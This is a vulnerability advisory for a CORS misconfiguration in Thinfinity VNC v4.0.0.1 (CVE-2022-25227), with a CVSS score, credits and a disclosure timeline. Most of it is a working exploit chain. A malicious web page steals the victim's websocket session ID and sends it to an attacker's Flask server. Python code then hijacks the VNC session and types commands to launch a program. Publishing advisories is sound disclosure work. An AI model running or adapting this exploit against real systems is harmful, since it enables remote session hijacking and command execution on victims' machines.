Thinfinity VNC v4.0.0.1 - CORS Misconfiguration to RCE

Summary


Name	Thinfinity VNC v4.0.0.1 - CORS Misconfiguration to RCE
Code name	Clapton
Product	Thinfinity VNC
Affected versions	v4.0.0.1
State	Public
Release date	2022-05-17

Vulnerability


Kind	CORS Misconfiguration
Rule	134. Insecure or unset HTTP headers - CORS
Remote	Yes
CVSSv3.1 Vector	CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
CVSSv3.1 Base Score	8.3
Exploit available	Yes
CVE ID(s)	CVE-2022-25227

Description

Thinfinity VNC v4.0.0.1 contains a Cross-Origin Resource Sharing (CORS) vulnerability which can allow an unprivileged remote attacker, if they can trick a user into browse malicious site, to obtain an ID that can be used to send websocket requests and achieve RCE.

Proof of Concept

Create a malicious site with the following content and send it to the victim.

<!DOCTYPE html> <html> <body> <center> <h2>CORS Thinfinity POC Exploit</h2> <h3>Extract ID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { response = JSON.parse(this.responseText) id_str = response['id'] id_str = id_str.slice(1, id_str.length - 1) alert("Exfiltrated ID: " + id_str) alert("Do you want to send the exploit?") const flask_http = new XMLHttpRequest(); // Server to exfiltrate the websocket id // CHANGE THIS var exf_server = "127.0.0.1:5000" const url = "http://" + exf_server + "/cors?id=" + id_str // Send ID to flask application flask_http.open("GET", url) flask_http.send() flask_http.onreadystatechange = function() { alert('Done!!!') } } }; // exfiltrate ID using CORS vulnerability // CHANGE THIS var server = "172.16.28.140:8081" xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>

Create a web socket connection against the target server using the exfiltrated ID. The following PoC sends the Ctrl+Esc keystroke combination to the server.

from websocket import create_connection
import time

# CHANGE THIS
id_str ="D6647736-7489-4FA3-9620-25F2DC7FA1F6"

ws = create_connection("ws://172.16.28.140:8081/vnc/%7B" + id_str + "%7D")
command = "cmd=fkey&key=CtrlEsc&id={" + id_str + "}"
ws.send(command)

The exploit below can be used to send arbitrary commands to the server after the ID is exfiltrated. It uses the ID to hijack the VNC connection and send keystrokes or mouse moves to the server.

Exploit

Run the flask application and trick a user with a session in Thinfinity to visit the page.

 # export FLASK_APP=exploit_thinfinity # flask run --host=0.0.0.0 from flask import Flask, request, redirect from websocket import create_connection import time import socket app = Flask(__name__) # CHANGE THIS server = "192.168.1.7:8081" def current_ip(): return([l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0]) def send_enter(ws, str_id): ws.send("cmd=keyb&key=13&char=0&action=down&id={" + str_id + "}") time.sleep(1) def send_ctrl_esc(ws, str_id): ws.send("cmd=fkey&key=CtrlEsc&id={%s}" % str_id) time.sleep(1) def send_text(ws, cmd, str_id): for c in cmd: key = str(ord(c)) command = "cmd=keyb&key=66&action=down&id={%s}&char=%s&location=0" % (str_id,key) ws.send(command) time.sleep(0.2) time.sleep(2) @app.route("/exploit") def about(): ip = request.host.split(':')[0] return """ <!DOCTYPE html> <html> <body> <center> <h2>CORS Thinfinity POC Exploit</h2> <h3>Extract ID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { response = JSON.parse(this.responseText) id_str = response['id'] id_str = id_str.slice(1, id_str.length - 1) alert("Exfiltrated ID: " + id_str) alert("Do you want to send the exploit?") const flask_http = new XMLHttpRequest(); // Server to exfiltrate the websocket id // CHANGE THIS var exf_server = "%s:5000" const url = "http://" + exf_server + "/cors?id=" + id_str // Send ID to flask application flask_http.open("GET", url) flask_http.send() flask_http.onreadystatechange = function() { alert('Done!!!') } } }; // exfiltrate ID using CORS vulnerability // CHANGE THIS var server = "%s" xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>
    """ % (ip, server)


@app.route('/cors',methods=['GET'])
def cors():
    str_id = request.args.get('id')
    print(str_id)



    socket_url = "ws://" + server +  "/vnc/%7B"+ str_id +"%7D"
    ws = create_connection(socket_url)

    send_ctrl_esc(ws,str_id)

    send_text(ws,"run",str_id)
    send_enter(ws,str_id)

    send_text(ws,"calc.exe",str_id)
    send_enter(ws,str_id)

    return str_id

@app.route("/")
def index():
    return redirect('/exploit')

Mitigation

By 2022-05-17 there is not a patch resolving the issue.

Credits

The vulnerability was discovered by Oscar Uribe from the Offensive Team of Fluid Attacks.

References

Vendor page https://www.cybelesoft.com/thinfinity/

Timeline

2022-04-11

Vulnerability discovered.

2022-04-11

Vendor contacted.

2022-05-17

Public Disclosure.